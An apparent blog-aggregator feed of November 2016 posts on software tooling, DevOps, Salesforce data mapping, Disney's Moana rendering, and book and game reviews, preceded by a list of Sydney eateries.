Bourke Street Bakery.
Collector Store (Surrey Hills).
Coogee Pavilion.
Four ate five.
Harry's Cafe de Wheels: Famous for Pies and Peas, Meat Pies, Hot Dogs.
Hurricane’s grill & bar Bondi beach.
Lox Stock & Barrel.
Marigold citymark (dim sum).
Reuben Hills.
Seans.
Sydney's Best Markets - The Trusted Traveller.
The eight (dim sum).
The Glenmore.
Three Blue Ducks.

Make your meetings more efficient

Yasha Solutions — Sat, 26 Nov 2016 02:00:00 GMT

Meetings can suck your time and your life. But… that is still also one of the best way we know to actually coordinate with each other and make sure agreements flows into an organisation. Yet, when you call for a meeting you can still make sure your time will be well used by creating a frame within which the conversation will happen. What do you need this meeting for? A meeting about a topic in general is not good enough for people to really prepareto your meeting (we assume people want to come prepared to your meeting).

The many methods of Decim8

infrequent oscillations — Fri, 25 Nov 2016 19:16:51 GMT

In which we try to provide a visual reference for Decim8.

Nacidos de la Bruma II – El Pozo de la Ascensión – Mistborn

GeekWare - Daniel Pecos Martínez — Fri, 25 Nov 2016 07:30:06 GMT

El Pozo de la Ascensión es la segunda parte de la saga de Nacidos de la Bruma (Mistborn) de Brandon Sanderson, en la que ha demostrado que posee la creatividad suficiente para dar vida a una historia de gran envergadura, y lo mejor, conservando la esencia de la entrega anterior, añadiendo unos toques que proporcionan un aire de frescura y misterio a la franquicia.

Esta entrega se inicia con los problemas que nuestros protagonistas enfrentan tras conseguir su objetivo: la muerte de su enemigo, Lord Legislador, pero a un alto precio, el sacrificio de su líder Kelsier. Inestabilidad política encaminada a una guerra económica es el ambiente que se respira en el imperio, un destino nada previsto por los liberadores y que tratarán de evitar por todo lo posible.

Para ello entablarán alianzas con la nobleza donde encontrarán un inesperado aliado, Elend Venture, hijo de la casa más poderosa de Luthadel, pero difícil heredero de ésta. El interés principal de su padre no será precisamente el de una transición de poder pacífica.

Brandon Sanderson de nuevo nos presenta un mundo fantástico, con héroes con poderes alomáticos y, también, debilidades humanas. Como viene siendo habitual con este autor, es una obra dinámica, de fácil lectura y que engancha desde el primer minuto.

En resumen, El Pozo de la Ascensión, segunda parte de esta magnífica saga, Nacidos de la Bruma (Mistborn), es una obra trepidante y que sin duda nos sorprenderá y mantendrá en vilo en muchas ocasiones.

3 Myths about WordPress

Yasha Solutions — Fri, 25 Nov 2016 02:00:00 GMT

Here are three myths about WordPress that really annoy the sh*t out of me because they are just so outrageously outdated and so misinformed that it 100% piss me off to still hear such BS said in meetings – especially when it comes from the IT guy in a company. However, I know it is counter-productive to shout at people for things they do not know, especially when they act out of lack of knowledge and are just repeating what some other uninformed person told them – so I thought it would be better for me to write about it and email it calmly to people (while pressing that “Send” button with rage…)

Time Management – Hustle Hack 101

Yasha Solutions — Fri, 25 Nov 2016 02:00:00 GMT

Yes, procrastination sucks, but it is part of life, stop complaining about it and do something about it. Here are some tips I am using myself or have used at some point and have helped me along the way. Start somewhere with a schedule for your days with objectives Achieving your goals assumes you have defined some, and if your day is not going as you want, probably worth thinking what was that you wanted on the first place, what were you goals for the day, and what did you plan to achieve that you didn’t do.

[Computing] Rackmount Improv HSM

devever.net/~hl — Fri, 25 Nov 2016 02:00:00 GMT

This is a followup to Why I don't like smartcards, which I felt like writing after it got posted on HN.

Default Unix Programs

Venam's Blog — Patrick Louis (Lebanon) — Thu, 24 Nov 2016 19:00:00 GMT

Welcome to hell, choose your default program! You'll soon learn in this podcast why this subtitle was chosen. Let's go, follow my train of thoughts and don't get lost. The default programs...

POSS 2016, from Open Hardware to "Open divorce" (*) and formats

Welcome to Marco Fioretti's website! on Stop at Zona-M — Thu, 24 Nov 2016 12:52:35 GMT

I enjoyed POSS2016 in Paris

</em></u>

Last week, I presented the current status of the EU-funded research I am working on these days, that is DiDIY (Digital DIY), at the Paris Open Source Summit. I have already reported about that side of the conference on the DiDIY blog, but I found many more interesting things at POSS 2016.

The future of ODF, XML and office suites in Public Administrations

Welcome to Marco Fioretti's website! on Stop at Zona-M — Thu, 24 Nov 2016 12:00:31 GMT

Last week I attended the Paris Open Source Summit, were I saw things as interesting and diverse as autonomous tractors, Open Source legal support and “degooglized Internet” visions. Please read that other post to know more. Here, I am only going to describe one other moment of POSS 2016, about two other arguments I care a lot about, and on which I wouldn’t mind working again, even if these days I am mostly busy with Digital DIY.

Pip is great

bastibe.de — Thu, 24 Nov 2016 02:00:00 GMT

Installing Python packages used to be a pain. Very surprisingly, this is no longer the case. Nowadays, pip install whatever will reliably install pretty much anything without any trouble.

To recap, the problem is that many Python packages rely on C code, which needs to be compiled before installation. In the past, this burden was mostly on the user. Depending on the user's knowledge of C and compilers, and the user's operating system, this could become almost arbitrarily hairy.

This problem was solved, to some extent, using pre-compiled packages, first as binary installers on the package websites, then pre-packaged Python distributions, and later through third-party package managers such as conda.

This worked well, but it fractured the ecosystem into several different mostly-compatible package sources. This was no big problem, but users had to decide on a package-by-package basis whether to download an installer, use conda, or use pip.

But I am happy to announce that these dark days are behind us now. Pip now automatically installs binary Python packages called wheels, and most package developers do now provide wheels on PyPI. This is so obviously superior to the past that many high-profile packages don't even provide binary installers any more.

For me, this means I don't have to rely on conda any longer. I don't have to keep a mental list of which packages to install though conda and which packages to install through pip any longer. I can go back to using virtualenv instead of conda-envs¹ again. I don't have to tell students to download pre-packaged Python distributions any longer. Pip is great!

Not because I dislike conda, just to simplify my development environment.↩

Setting up Webpack, Babel and React from scratch - Part 3

Muffin Man — Thu, 24 Nov 2016 02:00:00 GMT

Part three - also the last part #

Other parts:

Part 1 - Webpack, Babel, React, Router, ESLint
Part 2 - SASS, more ES6 goodness (Static props, decorators, deconstruction...)
Part 3 - Where to go from here

Where to go from here #

I really wanted to continue this series, but unfortunately whole JavaScript / Node community is moving so fast, that I found really hard to keep these tutorials up to date. Webpack 2 and React Hot Loader 3 are on the horizon. Some package versions break the other ones. Usual JavaScript business :)

So I'll leave you with a link or two below.

Create React App #

Facebook released Create React App. That is a CLI tool for creating React apps with zero configuration. It is still missing some features, like universal rendering, decorators, SASS (or LESS), hot reload... But it is a really solid start, and backed up by the React team.

My Webpack 2 boilerplate #

Also, I just published Webpack 2 boilerplate on GitHub. It has a lot of nice features, check post about it on this blog.

Thanks #

Hope you found this series useful. Don't worry, blog will still be updated, but this series is over for now.

And before using boilerplates, try making it yourself, so you understand the flow and the tooling behind it.

React and Redux, Webpack 2 boilerplate

Muffin Man — Thu, 24 Nov 2016 02:00:00 GMT

Currently, I'm working on a relatively small pet project. While setting it up, I decided to extract a webpack boilerplate from it.

As whole JS community is moving really fast, I found very hard to set everything up using Webpack 1.x. One package would ask to update the other, that would break the third one, then that one... and so on.

Luckily, I was able to set everything up using Webpack 2. It is still in beta, but I had no problems so far.

You can find the boilerplate on GitHub.

Implemented Features #

React
React router
Redux
Redux Thunk
Immutable reducer data
Webpack 2 (development and production config)
Hot Module Replacement
Babel - static props, decorators
SASS with autoprefixing
Webpack dashboard
Linting
Included es6-promise and isomorphic-fetch
File imports relative to the app root

Planned features #

Redux Dev Tools
Generating icon font from SVGs
Preview production build
Git hooks - lint before commit (or push)

Future features #

Universal may be added at some point.

Universal rendering
Server async data

About #

This boilerplate is a complete, but minimal React application. It includes reducers (redux), actions (sync and async), routing, SASS... My goal was to be ready immediately after cloning the repo (and running npm i).

My plan is to reuse this as much as possible.

It will updated so make sure you follow the documentation on GitHub.

Syncing from Postgres to Salesforce - Data Mappings

CRAIG KERSTIENS — Wed, 23 Nov 2016 22:55:56 GMT

For the second time now I’ve had to implement a system that syncs from my system of record into Salesforce.com, the first at Heroku and now at Citus Data. The case here is pretty simple, I have a software-as-a-service, B2B product. It’s a homegrown application in these cases in Ruby, but could be Python, .Net, any language of your choosing. The problem is I don’t want to have to be rebuilding my own CRM, reporting, etc. on top of all of my internal database. And as soon as you’re at some reasonable size (sales guy of 1 or more) you need to be able to provide insights on what’s in that system of record database to others.

While my tooling isn’t a full fledged product by any means, here’s a bit of how I’ve developed this process a few times over and some of the annoying bits of code to help get you started. In this post I’ll walk through some of the basic datatypes, then we’ll follow-up with the overall architecture and tweaks you need to make to Salesforce, and finally we’ll provide some example code to help you create this setup yourself.

Leads, Contacts, Accounts oh my

Despite being some of the largest as-a-service vendors in the world, Salesforce is still primarily setup for traditional high touch sales. What this means is some of the data you’ll commonly have, or in this case not have, can make it difficult to figure out what maps from your internal system to Salesforce. Within Salesforce there’s really 4 key data models you’re going to care about.

Lead vs. Contact

In every as a service product you’ll have some user that creates and account which usually has an email address tied to it. This seems simple enough to load up to Salesforce as there is a clear email field. Within Salesforce there are two key data types which have a default field for this lead and contact, in Salesforce terms a lead is someone considering doing business with you, a contact someone who more so is doing business with you. If you have a freemium or timed trial model you might think to start classifying everyone that they’re a lead. Then, when they convert to a paying customer you turn them into a contact.

If you’re anything like me, in running your SaaS business, you want a sign-up process that’s frictionless. This means give me an email address, password, and you’re off and running. Salesforce immediately starts to breakdown a bit in this regard. First you’re required for both lead and contact to provide a first and last name. In my case I do ask for name, and do a little bit of work on the code side to get values into both. You’ll see later that our process does result in some regular cleanup work needing to happen, but in our case we’re optimizing to get them signed up more than capturing every detail perfectly about them from the start.

Leads are even more broken than contacts though. Leads require you to enter a company. While you may be able to just drop a company form field onto your sign-up page you’re likely to end up with junk data at least, if not actually driving some sign-ups away. Some of my favorite pieces of junk data I’ve seen users enter for company name: “pissed off developer”, “Acme Inc.”, and the all too common “Test Co.”. In reality these are often real developers, with real problems, and real budget, they just don’t want to share details before they’re ready.

So in this case the TLDR; is that leads require:

First name
Last name
Email
Company name

This results in contacts being a more favorable datatype because it only requires:

First name
Last name
Email

Accounts vs. Opportunities

We have in some ways a similar but different dichotomy with Accounts and Opportunities as we did Leads and Contacts. Though this one can often map a bit more cleanly than we saw with leads. From a pretty straight forward definition:

Account - A business entity. Contacts work for Accounts.
Opportunities - Sales events related to an Account and one or more Contacts.

This again can become problematic if you have no notion of Accounts at all in your system of record. Though if you are building a B2B application there is a good chance you may have something that makes sense. If you let uses free-form enter this instead of AT&T they may put “interactive team”, but you at least have some logical team that in their mind they roll up to.

Opportunities is a much harder one in the SaaS world. In traditional marketing you have your standard stages of MQL (Marketing Qualified Lead), progressing to SQL (Sales Qualified Lead), etc. that you expect these potential customers to flow through. In the as-a-service world you may have people look from afar for weeks, then suddenly sign-up and give you a credit card and start paying within minutes. While there is still steps the customer may go through before buying you often have less insight into these. How you decide to structure your opportunities flow is entirely up to you. In my case I tend to opt to still have htem, but they’re an exception basis where a salesperson is actively engaged vs. the other 90%+ of fully self-service customers.

Shifting back a little bit on accounts. The key with accounts is that if you have some notion of an team or org within your system of record then it makes sense to have that same structure setup in Salesforce. The most basic of this might be an idea of “Account owner” and “Team members”. You may have a person in there just for billing, an admin, and then users. Even if you don’t want to recreate the entire structure at least having all the contacts tied to the account is critical. I can’t count the number of times I’ve seen teams setup a “billing@mycompany.com” email, seen people try to interact with that email when in reality they wanted to be talking to “jane@mycompany.com” who logged in yesterday.

In summary

For the most part Salesforce doesn’t quite let you map to what many of you’ll want to do in terms of mapping your data from your system of record to Salesforce. Expect to have to contort a bit and likely pump Salesforce with some garbage data. In general you’ll want to skip leads and go straight for contacts as contacts don’t require the same restrictions. Tying contacts to an account is the right level anyway, and from there up to you on how you’ll more manage the opportunities.

Sword and Shield Pen

june.kim — Wed, 23 Nov 2016 02:00:00 GMT

Core values? Even software, file formats and servers transmit them

Welcome to Marco Fioretti's website! on Stop at Zona-M — Tue, 22 Nov 2016 10:00:55 GMT

On November 4th, 2016, I was invited to attend the Conference by the Pontifical Lateran University on “Core Values - The Transmission of Values in Digital Age”.:

Things I heard at the "Core Values" conference

Welcome to Marco Fioretti's website! on Stop at Zona-M — Tue, 22 Nov 2016 09:50:31 GMT

On November 4th, 2016, the Pontifical Lateran University held a conference on “Core Values – The Transmission of Values in Digital Age”. Radio Vaticana already published an official summary that explains how participants spent the day “posing hard questions to each other about the values that will best inform and sustain a coherent vision of integral human development in changing times” under the guide of Pope Francis' encyclical letter Laudato si'". This post, instead, is only a selection of the “quotable quotes” (from my handwritten notes, my apologies in advance for any error!) that I found most relevant, at least from the crucial point of view that

Cleaning up the Alamofire Interface

june.kim — Tue, 22 Nov 2016 02:00:00 GMT

Coordinators in practice

june.kim — Tue, 22 Nov 2016 02:00:00 GMT

Soma

bastibe.de — Tue, 22 Nov 2016 02:00:00 GMT

For a long time, I was afraid of picking up Soma, since it came from the developers who did Amnesia. Amnesia was the first game that scared me so thoroughly that I just couldn't bring myself to pick it up again after the first session. I admired it for its amazing world design, interactivity, and story, but it was too scary for me. I don't enjoy being scared.

I was thus of two minds when I heard about Soma: Soma was supposed to be less scary, and SciFi. But still, let me get this out of the way; This game scared me whitless. I had to use an online game guide to warn me of monsters and tell me how to evade them. I was too scared to figure this stuff out by myself, all alone in this creepy, nasty, underwater space station.

But at the same time, this game delivered one of the best stories I have ever seen in a video game. The story left me shaken and thoughtful for days, and the story was what dragged me back into the game even though I was really struggling with the monster sections. Even the delivery through conversations, environmental clues, and audio logs, was truly outstanding. I just love grimy Alien-style SciFi, and this is one of the very few video game stories that could fill more than a paragraph or two in a well-written book. I love it.

Apparently, if you like horror games, this is a very mild one. Boring even, if you can believe my favorite online critics. But believe me, it was right on the edge of what I was able to take. I still can't quite decide whether I would have preferred this game without the monsters, or whether the monsters were a necessary tool for evoking this intense sense of dread on the lonely SciFi ocean floor. Maybe the monsters lent some much-needed life and interactivity to the walk-em-up formula.

At any rate, I thoroughly enjoyed this experience, and can't wait for what this developer will create next. I wholeheartedly recommend this, as one of the best SciFi stories of this year, in any medium. ★★★★★

Nacidos de la Bruma I – El Imperio Final – Mistborn

GeekWare - Daniel Pecos Martínez — Mon, 21 Nov 2016 08:00:30 GMT

Si lo que deseas es una trama absorbente, con una gran cantidad de misterio, situaciones fantásticas y personajes entrañables, El Imperio Final, primer libro de la saga Nacidos de la Bruma – Mistborn de Brandon Sanderson es estás buscando. Sin duda alguna es una historia que demuestra que aún es posible encontrar libros con un buen contenido literario y un tono oscuro, tan difícil de encontrar en la literatura fantástica desde hace mucho tiempo. Puede considerarse un digno sucesor de grandes libros épicos del estilo del Señor de los Anillos o Juego de Tronos, sin duda alguna, una joya que te recomiendo no perder.

Dentro de Nacidos de la Bruma – El Imperio Final, Brandon Sanderson nos introduce en un mundo muy diferente al habitual y especialmente sombrío en el cual nada florece y las cenizas son constantes, los ciudadanos se encuentran oprimidos por un tirano conocido como el Lord Legislador, que junto sus asociados, la iglesia y la clase alta, controlan el metal más preciado de la alomancia: el Atium, extraído lenta y dolorosamente de los Pozos de Hathsin.

Los skaa, la clase obrera controlada y explotada por los nobles, son el motivo por el cual los protagonistas, Kelsier y Vin, pelearán contra los tiranos para conseguir que se les libere de su tormento. Ambos nacidos de la sombra, reunirán un grupo de alómanticos que les ayudarán a conseguir sus objetivos.

En Nacidos de la Bruma – El Imperio Final nos encontramos con una historia llena de acción repleta de personajes que van evolucionando a lo largo de la misma, donde es posible observar traición, amor, duda, proezas épicas, y supervivencia todo con tal de lograr liberarse del yugo por el cual se encuentran oprimidos los skaa, con un desenlace trepidante y que hará que saltes a por la segunda parte de esta magnífica saga.

Should you store your form state in Redux?

Gosha Spark — Mon, 21 Nov 2016 02:00:00 GMT

Ubuntu Core on VirtualBox

kyrofa's blog — Mon, 21 Nov 2016 02:00:00 GMT

If you read the official Ubuntu Core docs, you’ll see that the recommended way to run Ubuntu Core virtually is with KVM. However, it’s probably even easier to use it in VirtualBox, and I’ve been getting some questions about that, so I wanted to devote a quick post to it. Prerequisites: A Linux machine (using Ubuntu 16.04 here). This guide will work on Windows as well, but the command invocations are a bit different and I don’t have a machine on which I can verify them before suggesting them.

How to Buy Expensive Software Part 1: Vendors & Demos

Untrod — Sun, 20 Nov 2016 10:00:00 GMT

Some days it seems like all I'm good for is buying other companies' software.

It's a little ridiculous. I get 5-10 emails a day pitching some SaaS solution. You probably get them too. Recognize any of these subject lines?

Christopher, do you have 15 minutes to connect about my previous …

Links - November 20, 2016

Avy Faingezicht — Sun, 20 Nov 2016 02:00:00 GMT

I am actively trying to de-emphasize content about Trump, and the election, but it is tough. Expect to find traces and parallels to these themes for the next few months.

From Developer to DevOps: My Story

Ben Overmyer's Site — Sun, 20 Nov 2016 02:00:00 GMT

In late 2014, the sole system administrator for the Star Tribune Digital department (let's call him John) turned in his two-weeks' notice. Thus began a panic as we realized we had no idea how our infrastructure worked. At the time, I was one of two senior software engineers there. I was in the middle of a large refactoring project for the mobile website. John had, thankfully, kept up an internal wiki that at least roughly documented how some of the legacy infrastructure worked. The new infra on AWS was very new and very undocumented, but at least we had a place to start. John's disciple, an eager but more junior developer who had originated as a copy-editor, did what he could to absorb as much knowledge as he could from John before he left. But his heart just wasn't in operations, and he didn't want to fall on that sword.

In a one-on-one with my boss, we talked about the dilemma facing us. I mentioned that I had some experience with Linux in production environments. He gently suggested that I take on the system administration role, at least until they could hire someone to replace John. I blanched, knowing enough to know that I knew little about the world of operations. I was reluctant, but in the end he convinced me to at least try and hold down the fort until help arrived. I set the condition that I be immediately removed from all development projects I was assigned to. My boss agreed. At this point, we were about six months from launch of a scratch-built web platform that would replace our proprietary hosted CMS. None of the developers had experience in operational concerns at that scale, including myself. John had written some Chef cookbooks to provision the few things living on the new infrastructure, but only an outside contractor brought in to help in the interim with operations actually knew Chef. We struggled for a short period of time to maintain it. I learned enough of Ruby and Chef to get by, but it was always a battle to get the tool to do what I expected whenever I needed to do something slightly different from the existing process.

I forget who originally suggested it, but we started to switch our orchestration code to Ansible. Ansible was far easier for me to wrap my head around, and at a time when I needed to learn as much as possible as fast as possible, that was a lifesaver. At this point, I'd been “the operations guy” for about a month. The hiring ad for a “devops engineer” had been open for a month and a half. We had had only a few interested parties, and none of them were anything close to what we needed. I saw the writing on the wall, and asked my boss for a meeting. I told him I was willing to permanently become the operations engineer for the team. His relief was obvious. Shortly after that, the engineer opening changed from operations to developer, and within a short space of time we had an awesome new junior developer on the team. Meanwhile, I dove headlong into the world of system administration and operations. No longer held back by my own thought of “this is only temporary,” I devoured anything and everything I could find on the subject of what Google would later call Site Reliability Engineering.

After a couple short months, all of the Chef code was gone, a lot of our infrastructure had been deployed onto AWS, and we had hired a junior operations engineer to help out. Our on-call rotation was still a manually-maintained forwarded phone line, though, and fighting fires was always a panic moment… since usually, it was a problem that had been happening for hours, and we didn't even know about it until someone from the news floor informed us. But that's a story for another time. It was the launch of our web platform that completely changed operations for us, and for me. In early May 2015, the new website launched. And immediately crashed. And stayed down. We reverted to the old CMS. The next ten days saw both development and operations working feverishly to try and figure out what had gone wrong and how to fix it.

We switched from using a clever-but-misleading traffic simulation to using a tool called siege to do load testing, and finally got to a point where we thought we could keep the new site online. At 3:00 AM ten days after the first attempt, the new platform went online again and stayed online. For the next three hours, the launch team (including myself as the sole operations engineer on the team) built and deployed multiple iterations of the new site, and finally at six in the morning, we all left the office. I greeted the post-launch engineering team as we passed each other in the office entrance. After a couple hours' sleep in a downtown hotel, the launch team returned to the office to assess the situation and help out with any problems that might have occurred.

Let me be clear. When I was a developer, I pulled my share of sixteen-hour days to meet deadlines. But I never before this launch had experienced a shift this long or this rewarding. Before then, I had never cheered and exchanged high fives with the team as we saw the site working as expected in the wee hours of the morning. At this point, I was invested in operations. It had acquired my interest and not just my attention.

Photography & Journalism with Darcy Padilla & Julian Cox - Opening Remarks

Untrod — Sat, 19 Nov 2016 10:00:00 GMT

On November 17th, I chaired an event at the de Young Museum related to the opening of the exhibit Danny Lyon: Message to the Future. It's there through April 30th, 2017 and I encourage anyone in San Francisco during its run to see it. Danny Lyon is a remarkable photographer …

Fantastic Beasts and Where to Find Them

🦉 olshansky 🦁 — Fri, 18 Nov 2016 13:59:34 GMT

Olshansky's review of Fantastic Beasts and Where to Find Them

About

Joshua Rogers — Thu, 17 Nov 2016 14:00:00 GMT

I'm a guy from northern Alabama. I write software, and I've spoken at a conference or two. I wrote a package manager for Drupal 6 that was used on 3,300+ servers. There are a few other bits of code floating around out there as well. Most of it is open source. Below is a list of contributions I've made. Some of these patches are exclusively my code, but by nature open source is collaberative.

Rick and Morty: Season 1

🦉 olshansky 🦁 — Thu, 17 Nov 2016 13:00:15 GMT

Olshansky's review of Rick and Morty: Season 1

Elantris

GeekWare - Daniel Pecos Martínez — Thu, 17 Nov 2016 08:05:58 GMT

La ciudad de los dioses ya no es un lugar con seres de grandes poderes y magia, es ahora un lugar en ruinas llena de no muertos que sufren incansablemente por un hambre sobrehumana, dolores que nunca sanan y un corazón que no late. Elantris de Brandon Sanderson es la ciudad donde una misteriosa desgracia cambió todo, sus habitantes se transformaron y después de ser unas maravillas, son ahora seres malditos. Esta novela llena de fantasía y acción presenta la historia de tres personajes, el príncipe Raoden (quién sufrió la transformación), la princesa Sarene y el sacerdote Hrathenun.

Elantris el lugar de los dioses ahora es la tierra de los “no vivos”

Existe una magia en Elantris de Brandon Sanderson, quizás los Aones están relacionados con la catástrofe que cambió el curso del reino de Arelon. La población aún no asume el cambio tan grande que ocurrió en su tierra, cuál fue la causa de tanta desesperanza y sufrimiento.

Mucho sufrimiento para los No vivos, la aristocracia tiene un poder que sobrepasa los derechos de los ciudadanos, la anarquía y el hambre inacabable predominan en la lucha de los habitantes. Elantris de Brandon Sanderson muestra la intención de la religión para conquistar el poder absoluto, el sacerdote Hrathenun utiliza artimañas para hacer que la corrupción, los vicios e intereses personales perturben el amor de los príncipes para dominar el reino a través de su secta.

En Elantris el príncipe Raoden luego de ser el heredero del reino, sufre el mal de Shaod provocando su exilio en la tierra de los no muertos, al parecer la transformación no es por completo, poco a poco va sintiendo que se apodera de sus sentidos, inicia una guerra interna con sus recuerdos y el presente.

El amor de Sarene y Raoden los príncipes de “Elantris”

La energía que mantiene viva a la ciudad representa un factor importante en la vida de Raoden, quien a lo largo de la historia analiza y trata de comprender la finalidad de los Aones en la vida de los Elantrinos. El pretexto recibir a los no muertos como maravillas logró que los trasladaran, al llegar a la ciudadela la realidad es otra, son encarcelados, obligados a una vida sin final y tomados como no vivos por los que no han sido afectados por el Shaod.

Sarene, la novia política de Roaden, tiene el dilema de amar y respetar a su príncipe muerto o seguir las recomendaciones del sacerdote Hrath, casarse con otro hombre. Esta elección altera rápidamente el curso del amor y amenaza con el destino de los habitantes de Arelon. El reino se ve amenazado por la decisión que tome la princesa, casarse nuevamente o no.

Una trama que mantiene el misterio de principio a fin, situaciones llenas de controversia en un régimen político amenazado por una desgracia, el interés religioso, el amor inalcanzable entre los príncipes, la búsqueda del significado de los Aones y la trasformación de Raoden hacen de Elantris de Brandon Sanderson una revolucionaria novela de ficción, fantasía y amor.

Moana

Code & Visuals — Thu, 17 Nov 2016 02:00:00 GMT

2016 is the first year ever that Walt Disney Animation Studios is releasing two CG animated films. We released Zootopia back in March, and next week, we will be releasing our newest film, Moana. I’ve spent the bulk of the last year and a half working as part of Disney’s Hyperion Renderer team on a long list of improvements and new features for Moana. Moana is the first film I have an official credit on, and I couldn’t be more excited for the world to see what we have made!

We’re all incredibly proud of Moana; the story is fantastic, the characters are fresh and deep and incredibly appealing, and the music is an instant classic. Most important for a rendering guy though, I think Moana is flat out the best looking animated film anyone has ever made. Every single department on this film really outdid themselves. The technology that we had to develop for this film was staggering; we have a whole new distributed fluid simulation package for the endless oceans in the film, we added advanced new lighting capabilities to Hyperion that have never been used in an animated film before to this extent (to the best of my knowledge), we made huge advances in our animation technology for characters such as Maui; the list goes on and on and on. Something like over 85% of the shots in this movie have significant FX work in them, which is unheard of for animated features.

Hyperion gained a number of major new capabilities in support of making Moana. Rendering the ocean was a major concern on Moana, so much of Hyperion’s development during Moana revolved around features related to rendering water. Our lighters wanted caustics in all shots with shallow water, such as shots set at the beach or near the shoreline; faking caustics was quickly ruled out as an option since setting up lighting rigs with fake caustics that looked plausible and visually pleasing proved to be difficult and laborious. We found that providing real caustics was vastly preferable to faking things, both from a visual quality standpoint and a artist workflow standpoint, so we wound up adding a photon mapping system to Hyperion. The design of the photon mapping system is highly optimized around handling sun-water caustics, which allows for some major performance optimizations, such as an adaptive photon distribution system that makes sure that photons are not wasted on off-camera parts of the scene. Most of the photon mapping system was written by Peter Kutz; I also got to work on the photon mapping system a bit.

Water is in almost every shot in the film in some form, and the number of water effects was extremely varied, ranging from the ocean surface going out for dozens of miles in every direction, to splashes and boat wakes [Stomakhin and Selle 2017] and other finely detailed effects. Water had to be created using a host of different techniques, from relatively simple procedural wave functions [Garcia et al. 2016], to hand-animatable rigged wave systems [Byun and Stomakhin 2017], all the way to huge complex fluid simulations using Splash, a custom in-house APIC-based fluid simulator [Jiang et al. 2015]. We even had to support water as a straight up rigged character [Frost et al. 2017]! In order to bring the results of all of these techniques together into a single renderable water surface, an enormous amount of effort was put into building a level-set compositing system, in which all water simulation results would be converted into signed distance fields that could then be combined and converted into a watertight mesh. Having a single watertight mesh was important, since the ocean often also contained a homogeneous volume to produce physically correct scattering. This is where all of the blues and the greens in ocean water come from. This entire system could be run by Hyperion at rendertime, or could be run offline beforehand to generate a cached result that Hyperion could load; a whole complex pipeline had to be build to support this capability [Palmer et al. 2017]. Building this level-set compositing and meshing system involved a large number of TDs and engineers; on the Hyperion side, this project was led by Ralf Habel, Patrick Kelly, and Andy Selle. Peter and I also helped out at various points.

At one point early on the film’s production, we noticed that our lighters were having a difficult time getting specular glints off of the ocean surface to look right. For artistic controllability reasons, our lighters prefer to keep the sun and the skydome as two separate lights; the skydome is usually an image-based light that is either painted or is from photography with the sun painted out, and the sun is usually a distant infinite light that subtends some sold angle. After a lot of testing, we found that the look of specular glints on the ocean surface comes partially from the sun itself, but also partially from the atmospheric scattering that makes the sun look hazy and larger in the sky than it actually is. To get this look, I added a system to analytically add a Mie-scattering halo around our distant lights; we called the result the “halo light”.

Up until Moana, Hyperion actually never had proper importance sampling for emissive meshes; we just relied on paths randomly finding their way to emissive meshes and only worried about importance sampling analytical area lights and distant infinite lights. For shots with the big lava monster Te-Ka [Bryant et al. 2017], however, most of the light in the frame came from emissive lava meshes, and most of what was being lit were complex, dense smoke volumes. Peter added a highly efficient system for importance sampling emissive meshes into the renderer, which made Te-Ka shots go from basically un-renderable to not a problem at all. David Adler also made some huge improvements to our denoiser’s ability to handle volumes to help with those shots.

Hyperion also saw a huge number of other improvements during Moana; Dan Teece and Matt Chiang made numerous improvements to the shading system, I reworked the ribbon curve intersection system to robustly handle Heihei’s and hawk-Maui’s feathers, Greg Nichols made our camera-adaptive tessellation more robust, and the team in general made many speed and memory optimizations. Throughout the whole production cycle, Hyperion partnered really closely with production to make Moana the most beautiful animated film we’ve ever made. This close partnership is what makes working at Disney Animation such an amazing, fun, and interesting experience.

The first section of the credits sequence in Moana showcases a number of the props that our artists made for the film. I highly recommend staying and staring at all of the eye candy; our look and modeling departments are filled with some of the most dedicated and talented folks I’ve ever met. The props in the credits have simply preposterous amounts of detail on them; every single prop has stuff like tiny little flyaway fibers or microscratches or imperfections or whatnot on them. In some of the international posters, one can see that all of the human characters are covered with fine peach fuzz (an important part of making their skin catch the sunlight correctly), which we rendered in every frame! Something that we’re really proud of is the fact that none of the credit props were specially modeled for the credits! Those are all the exact props we used in every frame that they show up in, which really is a testament to both how amazing our artists our and how much work we’ve put into every part of our technology. The vast majority of production for Moana happened in essentially the 9 months between Zootopia’s release in March and October; this timeline becomes even more astonishing given the sheer beauty and craftsmanship in Moana.

Below are a number of stills (in no particular order) from the movie, 100% rendered using Hyperion. These stills give just a hint at how beautiful this movie looks; definitely go see it on the biggest screen you can find!

Here is a credits frame with my name that Disney kindly provided! Most of the Hyperion team is grouped under the Rendering/Pipeline/Engineering Services (three separate teams under the same manager) category this time around, although a handful of Hyperion guys show up in an earlier part of the credits instead.

All images in this post are courtesy of and the property of Walt Disney Animation Studios.

Also, Moana is accompanied by a fun new short from Disney Animation called Inner Workings, which combines CG animation rendered using Hyperion with more traditional hand-drawn elements. Be sure to catch Inner Workings with Moana!

Addendum 2018-08-18

A lot more detailed information about the photon mapping system, the level-set compositing system, and the halo light is now available as part of our recent TOG paper on Hyperion [Burley et al. 2018].

References

Marc Bryant, Ian Coony, and Jonathan Garcia. 2017. Moana: Foundation of a Lava Monster. In ACM SIGGRAPH 2017 Talks. Article 10.

Brent Burley, David Adler, Matt Jen-Yuan Chiang, Hank Driskill, Ralf Habel, Patrick Kelly, Peter Kutz, Yining Karl Li, and Daniel Teece. 2018. The Design and Evolution of Disney’s Hyperion Renderer. ACM Transactions on Graphics 37, 3 (Jul. 2018), Article 33.

Dong Joo Byun and Alexey Stomakhin. 2017. Moana: Crashing Waves. In ACM SIGGRAPH 2017 Talks. Article 41.

Ben Frost, Alexey Stomakhin, and Hiroaki Narita. 2017. Moana: Performing Water. In ACM SIGGRAPH 2017 Talks. Article 30.

Jonathan Garcia, Sara Drakeley, Sean Palmer, Erin Ramos, David Hutchins, Ralf Habel, and Alexey Stomakhin. 2016. Rigging the Oceans of Disney’s Moana. In ACM SIGGRAPH Asia 2016 Technical Briefs. Article 30.

Chenfafu Jiang, Craig Schroeder, Andrew Selle, Joseph Teran, and Alexey Stomakhin. 2015. The Affine Particle-in-Cell Method. ACM Transactions on Graphics (Proc. of SIGGRAPH) 34, 4 (Aug. 2015), Article 51.

Sean Palmer, Jonathan Garcia, Sara Drakeley, Patrick Kelly, and Ralf Habel. 2017. The Ocean and Water Pipeline of Disney’s Moana. In ACM SIGGRAPH 2017 Talks. Article 29.

Alexey Stomakhin and Andy Selle. 2017. Fluxed Animated Boundary Method. ACM Transactions on Graphics (Proc. of SIGGRAPH) 36, 4 (Aug. 2017), Article 68.

Narcos: Season 2

🦉 olshansky 🦁 — Wed, 16 Nov 2016 23:51:58 GMT

Olshansky's review of Narcos: Season 2

Gracias Mamá

